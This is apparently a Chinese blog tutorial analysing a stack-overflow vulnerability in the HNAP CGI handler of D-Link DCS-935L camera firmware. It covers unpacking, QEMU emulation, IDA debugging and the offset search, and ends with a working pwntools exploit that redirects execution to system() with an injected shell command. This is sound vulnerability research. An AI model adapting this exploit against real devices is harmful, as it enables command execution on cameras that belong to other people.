D-Link DCS-935L固件栈溢出漏洞分析
Zach0ry Lv4

D-Link DCS-935L固件栈溢出漏洞分析

固件下载地址

binwalk -e ./DCS-935L_A1_FW_1.10.01_20161128_r4156.bin解包

CGI 全称是:Common Gateway Interface(通用网关接口)是一种老式的 Web 后端机制。

浏览器发 HTTP 请求给 Web 服务器,Web 服务器再启动一个外部程序来处理这个请求,这个外部程序就叫 CGI 程序。

浏览器 / exploit 脚本

HTTP 请求

设备里的 httpd Web 服务器

启动 CGI 程序 hnap_service

hnap_service 处理请求

输出 HTTP 响应

返回给浏览器 / 脚本

他是一个可执行文件,需要qemu-mips-static来模拟运行,真实设备里,它不是自己监听网络端口,而是由 httpd 这种 Web 服务启动。HTTP 请求来了以后,Web 服务会把请求拆成两部分:

1
2
>HTTP 头部 Header  ->  环境变量 getenv()
>HTTP 正文 Body -> 标准输入 stdin

该固件可以分析这个专门处理 HNAP 请求的CGI 可执行程序

image

查看可执行文件信息

image

MSB = Most Significant Byte first = 大端序 = big endian

把qemu-mips-static copy到squashfs-root目录下

image

漏洞点条件判断

拖入ida静态分析

对env的输入没有限制

image

但是在栈上而且有定义的大小,存在栈溢出

image

从漏洞点想向上分析,观察需要满足什么条件才可以进入 strcpy(haystack, env);函数

HNAP_AUTH是栈溢出函数

COOKIE和SOAP_ACTION非空
且存在v16 = strstr(haystack, “uid=”);所以COOKIE中要存在”uid=”的格式

image

继续向上追踪回到main函数

看到该漏洞函数处理的是/tmp/.hnap_in.xml文件,但是我们的squashfs-root没有该文件夹,应该是程序运行时建立的临时文件,需要我们自己去建立一个

image

CONTENT_LENGTH<0x20000,而且会从stdin(HTTP Body,也就是 XML 请求体。)中读取CONTENT_LENGTH个字节,可以用一个文件来模拟

image

且根据之后的调用

danger() 里会解析:

1
2
3
ixmlGetElementByTag(Document, "soap:Body");
ixmlNode_getFirstChild(ElementByTag);
ixmlNode_getLocalName(v8);

所以XML 里必须有:

1
2
3
4
5
<soap:Body>
<SetDeviceSettings>
...
</SetDeviceSettings>
</soap:Body>
1
2
3
sudo tee ./1.txt > /dev/null <<'EOF'
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"><Action>SetDeviceSettings</Action><DeviceName>1</DeviceName></SetDeviceSettings></soap:Body></soap:Envelope>
EOF

image

image

REQUEST_METHOD=”POST”

SOAP_ACTION非空

sudo chroot . ./bin/sh

把当前目录临时当成系统根目录然后在这个“假根目录”里面启动./bin/sh

因为 hnap_service 是固件里的程序,它运行时会找这些路径

环境变量定义

1
2
3
4
5
export REQUEST_METHOD="POST"
export SOAP_ACTION="111111"
export CONTENT_LENGTH=$(wc -c < /1.txt)
export COOKIE="uid=aaaa;"
export HNAP_AUTH="11111111"

./qemu-mips-static -g 1234 /web/cgi-bin/hnap/hnap_service < /1.txt

在 chroot 固件环境里,用 QEMU 启动 MIPS 程序,并开启 IDA/GDB 动态调试

Debugger -> Select debugger ->Remote GDB debugger

然后

Debugger -> Process options

如果IDA 在 Kali/Linux 同一台机器里,Host 就填127.0.0.1

如果 IDA 在 Windows,QEMU 在 Kali 虚拟机,Host 填 Kali 的 IP

1
2
3
4
Hostname: 127.0.0.1/192.168.xxx.xxx
Port: 1234
Application: /web/cgi-bin/hnap/hnap_service
Input file: /web/cgi-bin/hnap/hnap_service

image

image

可以看到,此时可以执行到该漏洞函数

本地栈溢出攻击

覆盖返回地址为system函数

image

先找ret地址的偏移

用cyclic 1200找偏移

而且看到程序会对haystack的“ ”进行切割,所以在放置1200的字符时要放几个空格防止程序崩溃

image

1
HNAP_AUTH =b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal  aaaaaaaaaaaaaaaaaaa"

image

然后放置参数

可以通过stdin去放入,由下图可知,它的位置也是在栈上的

image

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

JUMP_TO = 0x4033e4
BSS_ADDR = 0x43a830
CMD = b'ls'

import os
import subprocess
import base64
from pwn import *

os.chroot(".")
os.chdir("/")

JUMP_TO = p32(JUMP_TO, endian = 'big').replace(b'\x00', b'\x20', 1)
BSS_ADDR = p32(BSS_ADDR, endian = 'big').replace(b'\x00', b'\x20', 1)

http_body = b'''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetDeviceSettings xmlns="http://192.168.0.1/HNAP1/"><Action>SetDeviceSettings</Action><DeviceName>1</DeviceName> <ThisIsGoodThing>command:''' + b':;' * 10000 + b"ls" + b''';echo 114514 #</ThisIsGoodThing></SetDeviceSettings></soap:Body></soap:Envelope>'''

HNAP_AUTH = b'11111111aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaaraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakh' + BSS_ADDR + b'aakjaakkaaklaakmaaknaakoaakpaak1' + JUMP_TO


COOKIE = b'uid=aaaa;'
SOAP_ACTION = b'111111111'
CONTENT_LENGTH = str(len(http_body)).encode()
REQUEST_METHOD = b'POST'

print(123)
print(HNAP_AUTH.decode('latin-1').encode())

subprocess.run(
['/qemu-mips-static', '-g', '1234', '/web/cgi-bin/hnap/hnap_service'],
input=http_body,
env={
'REQUEST_METHOD': REQUEST_METHOD,
'SOAP_ACTION': SOAP_ACTION,
'CONTENT_LENGTH': CONTENT_LENGTH,
'COOKIE': COOKIE,

'HNAP_AUTH': HNAP_AUTH
}
)

image

 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View